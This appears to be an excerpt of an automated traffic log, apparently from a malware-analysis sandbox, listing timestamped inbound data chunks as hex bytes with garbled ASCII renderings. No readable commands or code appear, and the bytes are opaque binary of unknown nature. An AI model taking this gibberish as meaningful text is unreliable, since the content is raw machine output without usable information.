ce 92 6c 04 73 22 79 1f 0f f3 a1 f3 63 b5 f9 7c 80 a9 0b b6 c5 66 e7 a2 a4 ec bb d2 46 5b 2a bf c5 52 ce 77 24 d1 5f 65 f8 
69 53 19 0e 7d 9a 22 79 9d 41 15 d5 52 02 c1 d0 be 
Data Ascii: BP.5"G]Duy]+MM.JLI-f~;u|$^$no/^{QMM&A%^0s0tx|Qe0m-G-GfK4fKZl~bdBWT`0+gv6rS"sd1ls"yc|fF[*
Rw$_eiS}"yAR

2022-09-20 10:10:08 UTC 3934 IN Data Raw: 48 7b 11 53 6f 47 6c df e6 fc 6a c7 51 57 19 78 57 cd 62 b4 e5 f8 6e f5 28 7a 12 c9 18 21 a9 62 89 4f 39 7b 9f 
f4 e3 7c 0e f4 f4 68 72 9f 0b 74 77 f7 48 bb 03 9a f3 7b 93 42 8d c1 50 ff 44 56 1c 83 74 37 99 fa da ba f6 20 22 99 c4 c5 
a0 b8 cb a5 1b e9 b5 f4 65 24 24 ff 6e 25 f9 57 c0 78 36 a7 ad bc f9 01 ba 86 17 75 90 37 ef 76 04 63 ee 28 6f be c2 75 
8b 4e f2 a6 23 38 fa ab 9b 25 e0 d8 de 59 de bc d4 05 2a f0 ae f2 e6 5e 70 bc a8 6e 02 dd 40 0d dd e4 cd 0c 70 94 aa 1b 
dc 39 f2 c7 e3 e4 cd d7 e0 68 dd 5d de 0c 03 47 aa ba 59 0a 8e db d5 8d ad 98 ed a4 98 78 54 cc c9 94 e6 78 a6 6e df 
e2 6d ff 3e a1 27 13 90 7e 41 da 8a 02 cb 58 44 eb 57 bb 6b 27 c2 d0 ba 21 8e 78 50 73 ef cb 29 6c a4 9f d1 6c 0e 92 af 
5b 4b 7e 74 1c 22 fc 00 8c 0e 62 69 94 82 64 50 5b c9 
Data Ascii: H{SoGljQWxWbn(z!bO9{|hrtwH{BPDVt7 "e$$n%Wx6u7vc(ouN#8%Y*^pn@p9h]GYxTxnm>'~AXDWk'!xPs)ll[
K~t"bidP[

2022-09-20 10:10:08 UTC 3942 IN Data Raw: c1 fd b5 e8 58 2f 3d 58 e3 b0 bf d6 35 c3 e4 30 6b 28 f6 d7 a2 63 f0 89 32 28 b7 d1 d8 5f eb 1a 6b f3 8e 09 d9 
90 40 ef 70 43 03 a2 86 25 e0 c4 66 f1 62 6a 56 d4 68 03 9c aa cf 8c df cd 05 f2 2d 39 55 76 80 53 65 00 2e 7d 83 3a 5f 
17 b5 54 26 2a f3 89 13 84 53 a5 1a 9c 2a 9d e0 c4 94 7d 44 4e 95 16 73 91 fc 18 7e 58 2b 8d 97 c5 06 e9 ea 56 b2 3a 
c4 32 94 24 cb 10 d2 d1 6a b8 86 0e 6a 4b b2 59 c5 75 a4 16 1d 33 a8 6c ad ad c3 b2 b5 b0 ad f4 41 47 2d b5 33 48 be 
52 af 94 63 cd f6 8d 3a 96 57 55 63 28 0f e9 ac 6e d2 43 15 2e 71 c3 ea b4 23 b5 e8 d8 a7 7c 58 05 47 23 47 59 26 d6 f2 
ae d8 da 3a 6f 39 90 dd b2 b5 75 38 6a e9 d2 5b de a8 ba 0f b9 90 f6 e9 23 3d 58 7f 6d ad e8 af 49 13 5c 2b 7a 65 d2 ba 
7c ce fe f5 be 6c 12 f0 bc 36 68 de b3 5a d3 a3 bb ed 5c 77 
Data Ascii: X/=X50k(c2(_k@pC%fbjVh-9UvSe.}:_T&*S*}DNs~X+V:2$jjKYu3lAG-3HRc:WUc(nC.q#|XG#GY&:o9u8j[#=
XmI\+ze|l6hZ\w

2022-09-20 10:10:08 UTC 3950 IN Data Raw: 40 af 92 ee c7 a2 d4 17 cf 56 4e 56 75 08 ba 31 9f 1e f3 58 a4 3d 10 71 95 ec 8d c3 60 d9 41 63 71 48 55 ba 
41 f7 63 b2 cc 60 f8 6f b8 71 48 ed eb 96 84 d4 46 e4 3a 72 fd d3 30 17 2e ff a8 f0 c9 3e 5f 57 06 ac a4 67 bb 65 3a fb 2e 
1d a7 e1 e1 17 75 9c 92 c3 6e 41 ce 76 ab d6 6c 24 4b 65 af 08 35 b4 85 60 bf 88 ba 3f 6c 1f 07 8a e8 a4 21 79 40 8d 91 
4f 91 22 c4 4d 5f 19 b2 b8 b9 57 86 27 6e cc 62 e1 38 ff 86 eb 10 a5 ee 90 4e 68 c6 51 6d cb d9 cc 96 53 dc 87 f1 b1 71 
e6 78 5f 0d 96 ff ed 18 d5 6b 0f 1a e6 23 19 1c 90 0b b8 83 03 ea 69 e3 e5 1e dc ef 42 4f a6 27 68 0e eb 28 63 4c ce 93 
a4 a9 27 b5 d2 d2 b6 e8 ea 2f 9b 55 7f 2c c6 ac aa f0 c6 d8 53 75 ee a6 26 0e c9 81 68 b9 b2 7d 40 3f 6d b5 77 af 01 bc 
83 22 b1 43 07 94 89 e4 10 85 79 48 3e db ca 89 4f 5a 
Data Ascii: @VNVu1X=q`AcqHUAc`oqHF:r0.>_Wge:.unAvl$Ke5`?l!y@O"M_W'nb8NhQmSqx_k#iBO'h(cL'/U,Su&h}@?mw
"CyH>OZ

2022-09-20 10:10:08 UTC 3958 IN Data Raw: 04 f0 fc fc 30 0f f9 75 40 32 1f 31 72 10 90 87 0c 24 76 24 3c ff a8 7a 4a d5 ab 54 b7 60 1d f5 de 40 3a c7 cf fd 
a9 7a 75 ab a3 ea d5 12 c7 fb 53 f5 2a 7e de a7 a9 d5 81 bd aa 56 0f 14 f9 be c9 85 f5 6a 45 33 ea d5 bd a7 a9 7a 75 49 
9c b5 67 40 d6 ab e9 ac 5e ad 2a aa 0c e6 15 9a 55 eb f1 23 59 9c 05 72 c6 48 fa ae 90 8b e0 89 0f 15 06 92 3f 92 de fd 
73 91 9a 91 74 4a 81 8b 5c 3f 92 8e 1e 74 91 bb 90 47 69 3e 42 1d be 19 78 6e 7d 94 e7 e9 db 80 6c 34 90 1f 01 f9 ab 
81 f4 1e 05 75 99 81 9c 06 c8 a0 c7 38 32 1b 90 ab 1f e7 96 50 06 48 f7 27 bc e5 ab e4 64 6e 63 75 c0 73 de 26 6f f9 aa 
37 78 d6 02 4f e9 93 de 5e e5 5a 83 e7 31 e0 b9 f0 cf de b2 b3 d5 e0 d9 05 3c b1 9b 39 cf bf 01 c9 d8 ec 2d 29 fb 8c a7 
0e 03 cf 1f 9e e6 29 ed 3e 1a da 03 03 19 0b c8 9f ff 
Data Ascii: 0u@21r$v$<zJT`@:zuS*~VjE3zuIg@^*U#YrH?stJ\?tGi>Bxn}l4u82PH'dncus&o7xO^Z1<9-))>

2022-09-20 10:10:08 UTC 3966 IN Data Raw: 96 f4 75 96 f4 99 96 f4 b3 2d e9 8b 8e 49 fa 91 0e 5e e9 6b 2d e9 33 2c e9 e3 2d e9 f5 c7 24 fd b0 25 7d 8d 25 
3d cd 92 3e c2 92 de 70 4c d2 0f 59 d2 57 5b d2 a7 59 d2 07 5a d2 57 1c 93 f4 83 96 f4 55 96 f4 54 4b 7a a2 25 7d f5 31 
49 3f 60 49 5f 61 49 9f 6c 49 ef 6c 49 5f 7b 4c d2 f7 5b d2 97 5b d2 53 2c e9 f1 96 f4 f5 c7 24 7d 9f 25 bd c1 92 3e de 92 
fe 5b 1b eb 24 cc 63 92 be c7 92 5e 6f 49 1f 65 49 df 6f 49 df 7c 4c d2 77 5b d2 97 58 d2 93 2d e9 1f 59 d2 b7 1e 93 f4 5d 
96 f4 45 96 f4 21 96 f4 5d 96 f4 ed c7 24 7d a7 25 bd ca 92 3e c8 92 fe 57 4b fa ce 63 92 be c3 92 5e 61 49 ef 6f 49 df 6a 
49 df 7d 4c d2 b7 5b d2 4b 2c e9 49 96 f4 3f 5b d2 f7 1e 93 f4 6d 96 f4 22 4b 7a a2 25 7d 83 25 7d ff 31 49 df 6a 49 2f b4 
a4 f7 b0 a4 df 65 49 3f 78 4c d2 b7 58 d2 
Data Ascii: u-I^k-3,-$%}%=>pLYW[YZWUTKz%}1I?`I_aIlIlI_{L[[S,$}%>[$c^oIeIoI|Lw[X-Y]E!]$}%>WKc^aIoIjI}L[K,I?[m"K
z%}%}1IjI/eI?xLX

2022-09-20 10:10:08 UTC 3973 IN Data Raw: a4 22 af 32 58 56 c5 03 aa ac 2e e3 c1 b8 29 1d 63 44 a4 a6 7c 7e d0 e5 b3 62 52 19 2c d4 be 3c f0 20 76 66 
c8 1e 7c a2 5a 18 d4 e9 a3 2d 7c 86 aa 47 7b 2c 84 dd 8a e9 42 f7 96 1e 66 c0 3c 48 2a 74 e2 e6 55 15 79 c0 82 f2 b2 aa 
e2 79 d5 e5 d5 a1 5c 7a 6b c1 f5 ce 2b 2c cc 2d 86 d8 16 18 f1 07 e3 81 04 48 5e 37 6e a3 a0 3e 29 ac c9 2b 2b 00 45 e7 
85 aa 72 17 16 57 15 e5 8a 83 4b 18 d3 48 9e e5 e5 a5 a5 50 fb c8 80 52 27 64 e6 a6 4d bd e0 82 29 93 73 33 9c dc 8b 
a6 64 4c cf 9d 94 3a 61 ea 05 ec e9 e1 60 69 69 19 53 32 a7 64 64 4f 91 bc 3c 6c a8 b4 c0 73 c6 f4 0c 1f cf e1 60 c8 93 
a6 a7 5d 68 87 09 c5 63 42 5a da 94 0b 26 5b 5e 23 86 9b 5e b9 e7 67 4d 9b 31 75 d2 84 cc 19 fc f9 31 22 4e fe 01 24 7b 
74 49 4e 5f 10 f4 0a ff 83 65 86 fe a1 ae ae c0 29 4c eb b9 
Data Ascii: "2XV.)cD|~bR,< vf|Z-|G{,Bf<H*tUyy\zk+,-H^7n>)++ErWKHPR'dM)s3dL:a`iiS2ddO<ls`]hcBZ&[^#^gM
1u1"N${tIN_e)L

2022-09-20 10:10:08 UTC 3981 IN Data Raw: c1 ba cb c4 69 97 c1 4b 01 58 47 d1 06 e4 3d 20 79 6c 10 4e ce e4 31 a6 f1 93 8b ec e5 a1 71 20 ed d5 02 4a 
9e 86 b2 e2 62 d7 05 d8 ca 61 15 9e 57 c8 cb 9e 50 f5 84 dc 26 76 3f 18 11 8f 71 15 6b e4 ad de 21 ec 0e 29 64 73 9c 0d 
65 a4 0f a6 70 ab b7 e5 41 e7 65 7a 5a 57 e8 d8 ea da 1b e6 0b e5 0f c6 37 fa 65 54 f2 46 18 79 e2 97 e3 bf c1 b4 a0 27 
5d ee a6 69 b8 8b aa 6f bf a9 11 7a 2f f9 ae c8 df 83 24 43 14 11 02 a1 1a 90 99 a5 1e 9f 04 43 9f 33 89 7a 2a 0e 2f 03 26 
c9 41 a6 98 35 93 64 54 d5 54 a9 aa 1e 10 a7 a7 54 f0 90 10 07 54 c4 ef 1e 2b 12 fc 83 ec ac 82 b8 36 c5 33 3d 1c b3 35 
2e 2f 24 3d c8 7a 88 1f c5 cf dd 2e e5 71 19 5d 9e 96 74 03 b0 be 65 5c 72 75 31 89 d8 f6 38 c0 b6 5e 78 f3 d8 b1 d0 41 
92 b4 16 a5 fd cf 91 83 cb 41 10 2a 0e b1 b2 96 ef f4 
Data Ascii: iKXG= ylN1q JbaWP&v?qk!)dsepAezZW7eTFy']ioz/$CC3z*/&A5dTTTT+63=5./$=z.q]te\ru18^xAA*

2022-09-20 10:10:08 UTC 3989 IN Data Raw: d8 90 c0 bd b6 11 fe 37 87 4f 0d ef 85 dd 1c 66 12 ab a7 69 e2 74 3a 82 95 1d f6 e9 7c a8 f1 e9 74 a4 9d 0e 
70 a4 fe a7 73 fb b9 7e a7 d3 a1 4e a7 23 69 3a c3 70 3a 1d 7c 3a 41 b3 49 8f bd 0f 20 cd 86 60 b7 0e 4e 6d 87 d1 a9 8d 
a9 46 85 19 bb 39 a2 71 1c c7 47 d6 58 93 88 54 76 95 5c 27 f4 df c5 ba 26 02 f9 89 1f 04 9b 56 0a 27 ee 87 23 f7 1b 91 
25 b9 e8 9e c7 48 be 2d dc ce 88 a9 35 dc c2 7e 8f 81 7f b1 d9 c2 e8 9b bd 0a 8a 9a 63 76 a3 5c 29 bc fb ba 23 fe 1e 41 
af 85 0a bd 56 a2 03 2e 83 95 44 a9 1f 45 fc dd 82 52 3f 42 4a ed 66 94 da 93 01 d2 5c f2 31 07 93 d5 45 42 fa 44 97 de 
ea 17 09 69 a7 2e 7d 57 2f 12 d2 77 ff 6c 90 f2 07 09 89 31 04 0f e1 10 24 c7 5c c6 5c d0 7f 18 e1 5b 44 5f 48 44 7f 18 3d 
11 41 28 37 bb c3 7e 94 f7 d6 82 1b 65 ac 2e 23 15 84 
Data Ascii: 7Ofit:|tps~N#i:p:|:AI `NmF9qGXTv\'&V'#%H-5~cv\)#AV.DER?BJf\1EBDi.}W/wl1$\\[D_HD=A(7~e.#

Timestamp
kBytes
transferred

Direction Data
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2022-09-20 10:10:08 UTC 3997 IN Data Raw: a8 95 a5 e7 9c b1 b0 f4 75 94 ac 66 bc bb 3f 51 32 e2 ee 1f db ae 81 36 0b 8f 37 68 94 bc 70 0e 0f b0 71 3a 83 
37 30 07 1b 53 14 36 77 12 36 53 19 8d 12 dc f2 ac f7 15 d6 2b 54 aa e2 f4 61 85 61 81 dc 77 8a a6 ff cf e6 3e ac 27 cf f9 
f0 03 50 62 b8 09 b1 01 4f 71 f7 4e 64 88 83 10 22 a4 ae ef 92 69 f8 c7 2b 70 bc 2e cc d0 60 8d d6 60 65 4a 58 fb c9 1b 
3f 46 2f fa fe 2b e3 fc 1e bf 97 0e b4 7a fc 46 6f 47 6c 68 53 db 0f f9 f1 f5 c6 ca 74 31 21 94 89 16 2b f7 55 dc ee 9b 09 41 
21 10 2d b8 5f 9b 64 fe 70 4a 4e 32 fb cd 49 66 f1 a9 d8 49 26 23 6a 92 b1 f7 ef 7e 92 a9 3c 05 fa 4a 83 d0 57 6a 99 e1 
6e 46 82 63 64 df b6 a5 18 bc 73 1b 6e 85 c3 01 10 59 d1 f8 4a 4a bc dd 09 08 83 30 11 35 2d b3 49 91 21 15 e2 45 7b 
05 3b 48 8e fe a5 09 60 26 01 c8 53 7b ed b7 77 
Data Ascii: uf?Q267hpq:70S6w6S+Taaw>'PbOqNd"i+p.``eJX?F/+zFoGlhSt1!+UA!-_dpJN2IfI&#j~<JWjnFcdsnYJJ05-
I!E{;H`&S{w

2022-09-20 10:10:08 UTC 4005 IN Data Raw: 1c 17 5f f2 87 ae fb 35 91 f6 7e 4d 78 ee d7 65 9e fb 75 6b 9a ad 1f f8 a3 eb 7e 85 21 d7 12 3d 96 d6 59 72 c9 
d2 d7 01 9f 6d 7f 01 14 34 b0 90 2c 21 db b4 5d 1f 41 2a 16 bd 66 06 80 3f 97 fe 5e 35 33 32 2d 3f a8 ad f6 6b 85 f8 94 6e 
06 ff 24 f1 4d ec a4 c0 09 05 08 2b 5f 2d 6f 8a 9d ae 80 d8 d8 24 cd c0 a2 7b 51 c8 96 18 a6 70 d1 76 07 1a a2 5b 38 54 
53 8d 01 36 cb 55 d1 3f a9 63 22 23 a2 58 1c 2e 13 8b ce 34 4c 6c 92 bd bb e9 c4 52 a1 b9 b6 2c a7 d6 61 8f 06 3e ae c5 
ee b8 9a 33 f0 89 88 73 61 22 1f 9b 24 0e e9 7c 83 fc 81 57 b3 f2 86 b4 90 fc 60 98 05 c9 66 40 b2 19 90 6c 06 24 9b 53 
42 12 a2 d9 8f 14 89 e7 31 d5 5e bb ca 67 67 5d 14 f9 9a a4 8f fb 6c b5 2d 9a 85 d4 bb 04 d7 6f 50 cb a8 c2 6e 19 55 12 
f9 3f f8 ee 4e 82 e4 d4 32 2a c5 8b 66 77 13 9e 80 
Data Ascii: _5~Mxeuk~!=Yrm4,!]A*f?^532-?kn$M+_-o${Qpv[8TS6U?c"#X.4LlR,a>3sa"$|W`f@l$SB1^gg]l-oPnU?N2*fw

2022-09-20 10:10:08 UTC 4012 IN Data Raw: 2c 86 76 df 11 a1 ac 58 35 84 c5 74 17 9a e8 6b 46 8e 07 c2 9e 50 d6 d5 28 b6 70 a1 2a 74 39 0f 6e e2 3b 29 
66 aa fa c0 cf 94 4a 02 cd 34 5f 83 69 81 0d f2 d1 05 0c b7 37 5c 53 27 21 68 d0 d0 c2 95 cc 14 5d 81 7b 2b f9 4c 0f 39 
1d 50 f5 a1 53 37 0c 36 30 35 85 a5 60 b9 12 f6 9d b1 f8 2a a7 1e 41 5d 93 80 04 00 90 fe 56 29 1c 6e 5e 91 77 c5 23 fe 
13 2d 5d b9 d8 78 33 6a 87 fb ee 2b f7 82 f9 70 0f 1f e7 e9 28 cf 05 b0 c4 18 d3 91 22 70 9d e8 8f 3f 74 d1 94 a0 1d cf 69 
43 6d dd 4d 96 cf 03 db c8 f2 59 db b7 7b cb 67 e0 5e 92 24 13 3a 5d c9 86 a4 d3 d5 b1 1e 1a ba 95 1b 82 29 a0 f5 f6 a8 
f5 45 fa b5 65 41 0f 57 04 62 ba ab 21 da 4e 4a 77 ce c0 bc 8c 22 a3 03 5b 87 ec 97 d2 0c b2 1c 61 a9 d7 cf 4b 78 99 66 
a3 d9 51 a3 15 9c 8a 8c 61 23 88 cf 56 78 76 30 7c df 
Data Ascii: ,vX5tkFP(p*t9n;)fJ4_i7\S'!h]{+L9PS7605`*A]V)n^w#-]x3j+p("p?tiCmMY{g^$:])EeAWb!NJw"[aKxfQa#Vxv0|

2022-09-20 10:10:08 UTC 4020 IN Data Raw: 82 af 7b 73 c4 86 84 cd 8a 55 e6 62 39 b1 eb c0 25 fc e0 56 ce 00 0f da 44 15 20 d0 eb 81 21 b8 de 28 60 5d 
cb 4a f6 d2 5e 1e 5b 52 0b 1d 3c 1c ba a8 f9 ae 01 74 55 8d f3 ea c8 e8 5a 9e ef 89 05 a2 23 9b 1d db 9a 1d 4d 30 b8 07 
13 8e 83 27 1d 89 2d 70 2a c3 36 43 79 b3 ba 9a 2b ff 97 bd 7f 0f 88 ba ca ff c7 f1 d7 0c a3 72 8b 17 2a 26 96 e5 64 58 
b0 a2 42 51 39 8a 86 02 8a 85 4a 8a 69 45 21 09 08 85 40 30 03 5a a6 d8 cc 94 af 9d a6 e8 de ee b6 bb b6 b5 bb b5 b5 
ef da dd 52 bb 19 88 8a da cd 5b e5 25 2f d9 6d 46 bc e0 25 45 94 99 ef e3 79 ce eb 8a 8c ee e7 f3 fd fc 7e 7f fc 7e 1f eb 
f0 3a 73 9e e7 7e 9e f7 73 5e e7 95 30 c4 79 a0 fd 35 ea cf ea 8f 9f 89 2c 1e 11 2b 81 0c 3b fa 2c 79 c3 d9 11 25 3e 4d 
b7 50 7c 44 49 84 98 a2 9b bd 89 9b 49 67 d3 dc d7 b3 68 
Data Ascii: {sUb9%VD !(`]J^[R<tUZ#M0'-p*6Cy+r*&dXBQ9JiE!@0ZR[%/mF%Ey~~:s~s^0y5,+;,y%>MP|DIIgh

2022-09-20 10:10:08 UTC 4028 IN Data Raw: 5e 02 7f 57 f6 ac d4 c6 ce 41 d8 c1 fe b9 d2 bc 91 35 f2 db c3 4c 34 12 9d 7c df 03 d9 56 7f cd 71 02 75 65 91 
45 a3 ec d3 30 23 c4 92 c0 10 77 a7 ef e8 56 19 2b 86 7d 1d 9a ca d7 9c 65 5a 51 8e ff d7 23 4c 17 e2 34 d7 29 d3 dc d3 
9e 7e 90 97 0f 1f 0d 41 8e 4f 42 4b f1 d0 29 6c c6 72 27 e5 29 2c 77 f9 af 3d 17 40 d7 ff f8 4b cf cd f8 fb 5f 44 6b 8f fa 96 
4d 47 02 a6 23 eb a0 6e a3 f8 96 83 24 ba 5b fc c3 77 72 ec 63 1c 2a 9f ed 1a b9 86 1d d1 ed 9b d6 6e 55 ed ae cb 8e f0 
5b 9e 57 4c 97 77 49 ff 69 52 ef e1 e5 5e 04 e6 42 d8 8a 12 fe ef 0f b3 f1 c9 22 a5 74 ba 32 be ac 90 6c d3 ea ff ed 8f fa 
32 37 a8 65 6a 0c 75 5d 31 9d c9 b4 85 b2 c8 f0 5f f7 ab 1e 7a 7e 9a 52 6a c5 4f cc 4a d3 f1 90 6f 7e ed 79 02 a1 27 6d 
53 4d 10 c7 6d 17 88 89 84 9f 15 94 72 9d 3e 
Data Ascii: ^WA5L4|VqueE0#wV+}eZQ#L4)~AOBK)lr'),w=@K_DkMG#n$[wrc*nU[WLwIiR^B"t2l27eju]1_z~RjOJo~y'mS
Mmr>

2022-09-20 10:10:08 UTC 4036 IN Data Raw: cb 25 f0 f7 15 37 6f 3f d0 dc d9 eb 5a cb 8b 6b d8 86 e3 65 c4 e2 ff 87 50 d9 2c f7 4a 71 95 af 45 82 09 08 ed 
1f 4a 5f 7b a0 6b 64 ad 7e 2b 3f d9 ac 48 0d 26 47 fc c7 08 d9 6e a7 77 b8 dc 87 04 7e cf 42 1f 65 86 a8 39 3a e8 c4 9a 
7c 06 02 1d 95 3b 37 83 9f 52 4b 62 f6 89 a4 fd 1f 51 bb d4 de 0c b3 8a 11 c4 71 fc 3b 14 5f ce 70 7e a3 c9 5c f2 ce d0 de 
cd f7 e7 e5 13 10 d5 b1 6c 7e f8 0b 45 b4 52 ce 73 c0 84 7f 98 98 af c3 6a ab 8d 5d 1a ef fc 65 88 7d 9c f8 49 d6 bb e7 d9 
2b 0a 49 9d e4 90 58 bb e4 37 1e ee f3 54 5d ef 5f cb e8 e4 a4 37 40 49 6f b3 4d 02 19 93 b6 fe 11 73 55 54 f3 36 e7 12 
93 ff 0f 79 26 69 52 d8 0c fa e3 82 ec 25 2e 77 23 79 a3 83 26 fb 50 aa db 79 cc a4 6c 24 fe 7e 20 d7 c6 aa f9 6b 43 32 c6 
5b 65 af 1d 2d 4c 6b 6f 56 d1 a9 f3 8c 31 ce 
Data Ascii: %7o?ZkeP,JqEJ_{kd~+?H&Gnw~Be9:|;7RKbQq;_p~\l~ERsj]e}I+IX7T]_7@IoMsUT6y&iR%.w#y&Pyl$~ kC2[e-
LkoV1

2022-09-20 10:10:08 UTC 4044 IN Data Raw: 88 e2 55 97 47 14 37 21 50 7c 93 fc 54 c2 b6 6e bf bb 87 3d 97 80 5f 2a fc 78 39 1f 63 35 c6 57 54 c3 7c 65 55 
cc d9 5f 42 8e c7 d2 92 9a 48 21 27 3f 3f 6f 14 73 aa 5b 53 53 52 ac c4 68 ca 2b 1d 25 97 45 5e 16 29 e4 d5 54 2d 5c 34 
22 53 c3 5a 46 ba c3 c8 31 6a d5 ca 21 a3 c2 9e 72 4b 2a e7 db cb 04 cc 98 f0 60 49 49 f5 88 a2 0a 88 49 41 57 01 51 4a 
89 90 45 4c 2e 9f 34 2f 74 61 44 76 25 4c 42 62 fb ba ae d0 ff b5 ba 8a 19 df cb 5e 58 8d 6a 04 74 73 c4 3c b9 9b 6c 9d 
58 4e fc 2f 6f 51 b0 4e 2a 2e fb fb ab 8a 17 d1 6e 9a e2 9a 16 42 42 92 ad 15 25 a5 60 f2 53 6e 4e 2b 56 e4 14 8c e4 92 
f9 45 15 56 8d 70 ad 9c 2f 0f 2b 16 36 27 47 14 53 f8 04 61 01 c2 32 84 17 10 de 44 60 bc 73 c4 78 9e 97 b1 79 20 46 e1 
ec 19 b0 fc a7 4d 66 34 d7 13 3c 6b ca 4c 19 7f b2 b3 
Data Ascii: UG7!P|Tn=_*x9c5WT|eU_BH!'??os[SSRh+%E^)T-\4"SZF1j!rK*`IIIAWQJEL.4/taDv%LBb^Xjts<lXN/oQN*
.nBB%`SnN+VEVp/+6'GSa2D`sxy FMf4<kL

2022-09-20 10:10:08 UTC 4051 IN Data Raw: d5 80 4f bb 08 7c 27 e0 b6 8b c0 3b 00 4f b8 08 3c 1e cc 4f bc 08 7c 34 e0 9d eb 42 eb 88 73 00 77 ac 0f 0d 5f 
08 78 fb fa 6e 67 c7 cc 5f aa f0 97 01 ff cb 86 40 d0 aa 87 17 68 3c 64 b5 0c ff 1f 3d 9c f4 dc bf 71 3d 97 f2 7c 87 3c c9 ad 
17 cf 43 17 aa ac bc 48 9e 4b bd b3 57 f0 99 7c 96 62 5a 4c 6c 41 0c af 93 ec 33 d7 67 da 79 22 a7 39 33 c6 5a 15 19 13 
3e a1 85 5e be a3 23 65 c2 1c 84 26 e4 19 2c d7 7f a9 7d 98 f7 90 37 93 32 a0 aa 59 91 31 96 9c a8 b9 31 e4 43 cb 12 f8 
3e cc 8f 9f 69 3e cb c7 e9 bd 3d 67 18 72 16 47 c6 44 4f 6a 41 c3 1b a8 c4 03 ba 5f 93 a3 0a b5 1f 02 3b e6 26 b8 a8 ae 
cf 03 c1 b0 4b f4 29 5e ee 93 f5 73 6d 7f 9d 8d 51 e0 17 e4 90 0f a4 18 b0 d9 32 6d eb df 59 cc 8e c9 30 4b 31 69 99 31 
19 a5 dd 5e 5a cc 8c 5a 14 93 82 74 3e 9e c5 08 
Data Ascii: O|';O<O|4Bsw_xng_@h<d=q=|<CHKW|bZLlA3gy"93Z>^#e&,}72Y11C>i>=grGDOjA_;&K)^smQ2mY0K1i1^ZZt
>

2022-09-20 10:10:08 UTC 4059 IN Data Raw: 1f 3d e3 bd 93 bd d3 bc 19 ef 3a 6f 77 df 48 5f 63 a1 3d ec 83 87 9e e7 1f e8 77 f9 67 f8 db fc 0b fc cb fc db fd 
fb fd 87 e0 3d a7 05 7a 07 2e 08 78 03 13 03 c1 40 34 70 4f 60 49 60 19 7c 78 cf ff b2 f7 25 e0 51 55 d7 e3 f7 cd bc 37 5b 
26 c9 4c 12 20 09 09 09 84 1d 02 f3 de ac c9 6c d9 26 64 74 92 89 33 13 36 d1 21 64 26 30 25 9b 59 00 bb 58 b4 56 51 
40 c5 dd 8a 2d 6d ad 75 41 4b ad 0b 6d b5 a5 ae a8 a8 b8 b5 fe d4 b6 68 15 69 4b 5b 5c da 5a 6b f5 7f ce bd ef cd 92 04 
db 1f 5f 7f 5f fd 7f 5f f9 78 93 77 cf b9 cb b9 e7 9e 7b ee 39 f7 de 77 af ff 15 ff 1b 58 af 03 94 bd 44 b0 e4 5b a6 58 24 4b 
bb a5 cb 72 96 65 2b d4 f1 0a cb 77 2d f7 5b de 06 dd c9 89 85 a2 43 3c 43 5c 25 76 8b 17 8a 3b c4 ab c5 3b 40 d6 df 12 
3f 11 c3 20 7b d3 ad d5 56 a7 75 25 d4 f7 7c 
Data Ascii: =:owH_c=wg=z.x@4pO`I`|x%QU7[&L l&dt36!d&0%YXVQ@-muAKmhiK[\Zk___xw{9wXD[X$Kre+w-[C<C\%v;;
@? {Vu%|

Timestamp
kBytes
transferred

Direction Data
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2022-09-20 10:10:08 UTC 4067 IN Data Raw: c4 60 ed 70 12 ec d9 53 33 da e4 0d f6 37 b1 fa 03 39 3d f1 4d dd f4 64 47 a2 2a ad 3c 81 e6 11 1f 8f 63 4e a3 
60 11 2b 28 1d 0a 9b 2c f2 02 06 54 e9 44 55 e5 ff 83 66 99 bc 2b 53 bd 70 aa 8d 0a e6 b8 5d 99 72 b7 c8 4c 9b aa e3 f9 
2d 18 71 d2 8e c2 67 6f d1 9c 68 07 4e d2 51 f8 f1 1d 45 c3 ab 98 05 c8 97 56 5e 81 04 d3 ed 72 fc f6 b2 ef 60 80 1a 80 
fc 8e f2 b3 30 c0 cc 41 7e 27 8d c7 a7 9d f9 4e 96 e2 0a b3 80 96 18 ff 18 46 0d c9 c0 5d 14 a8 92 2d 46 fe 06 f3 7d d8 fb 
78 b4 d9 74 7c ae e1 c8 67 1b 8e fc c9 67 01 32 86 a3 e0 2c a3 14 47 83 ab c1 e6 21 c2 55 f3 70 fd 4d cf ca d2 80 1d 89 
85 19 e2 ed 81 76 30 83 e2 4d 8d d1 60 33 f8 a1 ad e1 48 3b dd 95 45 2a 34 a4 b8 24 84 d6 1f 6e 78 52 f6 8b 6a b8 e2 fc 
8b 71 19 23 af 11 0f d8 a3 ab 12 74 43 94 46 c5 10 
Data Ascii: `pS379=MdG*<cN`+(,TDUf+Sp]rL-qgohNQEV^r`0A~'NF]-F}xt|gg2,G!UpMv0M`3H;E*4$nxRjq#tCF

2022-09-20 10:10:08 UTC 4075 IN Data Raw: 96 47 27 7c 43 28 9a a2 46 5f 70 05 6b bd 3d 42 f1 21 b6 13 ac e9 5c 18 83 85 6f 0a 25 c8 7a de 10 67 e7 79 
01 60 3a 02 34 24 0f 33 10 be 25 08 a8 e4 8d fd eb e8 21 cb d0 58 c2 b7 85 29 98 65 3e cf 75 98 f1 52 1e 18 0c 08 17 ce 
a3 af 23 78 1c 7f a7 79 25 2e f0 15 f2 1a 7e 31 f2 24 1e 6c ed 24 26 13 17 32 fd 0c 95 bc 9d 7e 46 ba ae 67 03 e1 22 5a 
84 f0 45 29 3c 71 75 98 9e ff 1c d5 52 a6 73 55 bc a9 18 bf 4c 8c 8f 0e 42 f6 31 0a d5 99 8a 46 92 30 82 26 07 7b 09 d7 
a5 44 34 9a 48 09 be 3e 0f 59 4d 41 f1 fb 44 0d c2 8d 65 72 cb d5 67 ab f1 f4 1d a8 c1 36 ee 49 5d 29 de 12 d0 c3 76 74 
1c 32 34 d2 a6 66 9f 53 3e 5d 82 38 5e c7 8e e8 7f c6 30 03 63 02 27 7f 8d 0b d4 cf e0 59 0c 00 98 86 99 57 e1 5d 72 72 
17 1d a1 5d 94 f0 df 2c c4 f2 0f 1c d5 27 4e a7 8a ef 1e 
Data Ascii: G'|C(F_pk=B!\o%zgy`:4$3%!X)e>uR#xy%.~1$l$&2~Fg"ZE)<quRsULB1F0&{D4H>YMADerg6I])vt24fS>]8^
0c'YW]rr],'N

2022-09-20 10:10:08 UTC 4083 IN Data Raw: ba cb 61 88 33 0c b3 e6 d3 d8 40 5e 17 6f a0 be d3 61 fa be 04 12 68 5d 8a 01 b2 1d 82 dc 60 98 23 3e 03 65 
